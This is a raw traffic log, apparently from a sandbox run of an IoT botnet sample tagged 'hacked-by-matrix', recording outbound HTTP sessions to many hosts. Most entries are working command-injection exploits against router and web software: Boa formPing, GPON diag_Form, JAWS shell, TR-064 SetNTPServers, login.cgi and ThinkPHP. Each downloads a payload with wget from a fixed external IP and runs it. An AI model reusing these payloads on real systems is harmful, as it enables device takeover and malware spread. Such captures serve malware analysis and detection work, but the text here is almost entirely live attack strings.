Mar 21, 2024 05:17:21.115293980 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.23	50176	181.143.60.163	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:21.058968067 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.23	53682	210.235.253.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:21.083914042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.23	38680	195.234.108.83	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:21.490736961 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:21.662287951 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:21 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.23	36626	50.44.184.192	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:21.786959887 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.23	33502	76.53.96.221	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:21.829138994 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.23	41682	31.211.187.124	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:21.838557005 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:22.019248962 CET	301	IN	HTTP/1.1 200 OK Content-Type:text/html Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Mar 21, 2024 05:17:22.019432068 CET	1286	IN	Data Raw: 63 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: cb8<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 21, 2024 05:17:22.019562960 CET	1286	IN	Data Raw: 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 Data Ascii: return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshortValid(List[i])) { return false; } } return true; }function IsIPv6
Mar 21, 2024 05:17:22.019809961 CET	732	IN	Data Raw: 72 65 73 73 56 61 6c 69 64 28 48 6f 73 74 49 6e 66 6f 29 29 0d 0a 7b 0d 0a 2f 2a 20 68 6f 73 74 20 73 74 72 69 6e 67 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 70 6f 72 74 20 2a 2f 0d 0a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 Data Ascii: ressValid(HostInfo)){/* host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}else{var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.23	47540	70.112.113.225	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:21.976466894 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:22.752852917 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.23	47614	88.198.12.210	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:22.081490040 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:23.105948925 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:23.285340071 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.23	48238	212.114.66.213	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:22.081576109 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:23.105948925 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:24.285799026 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:26.781819105 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:31.644761086 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:41.115457058 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:00.312856913 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:39.219439030 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.23	52810	184.25.26.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:22.085565090 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:23.581882954 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:23.860512972 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:17:23 GMT Date: Thu, 21 Mar 2024 04:17:23 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 37 65 33 64 66 61 64 26 23 34 36 3b 31 37 31 30 39 39 34 36 34 33 26 23 34 36 3b 31 64 38 37 31 36 65 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.57e3dfad.1710994643.1d8716eb</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.23	33098	54.192.68.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:22.325151920 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:22.668040037 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:17:22 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 8364644fb71459e1636e8286d8b3ccf2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ICN55-C1 X-Amz-Cf-Id: 4rePxEYwX0iIZ22HOjfgs8HpZOd6JskiJThLdaPjHNm-MFg2nPG4vA== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 34 72 65 50 78 45 59 77 58 30 69 49 5a 32 32 48 4f 6a 66 67 73 38 48 70 5a 4f 64 36 4a 73 6b 69 4a 54 68 4c 64 61 50 6a 48 4e 6d 2d 4d 46 67 32 6e 50 47 34 76 41 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: 4rePxEYwX0iIZ22HOjfgs8HpZOd6JskiJThLdaPjHNm-MFg2nPG4vA==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.23	44334	95.168.190.161	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:22.552894115 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:23.041356087 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:23.204262972 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Thu, 21 Mar 2024 04:17:23 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.23	36674	50.44.184.192	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:22.942415953 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.23	33552	76.53.96.221	7547

Timestamp	Bytes transferred	Direction	Data
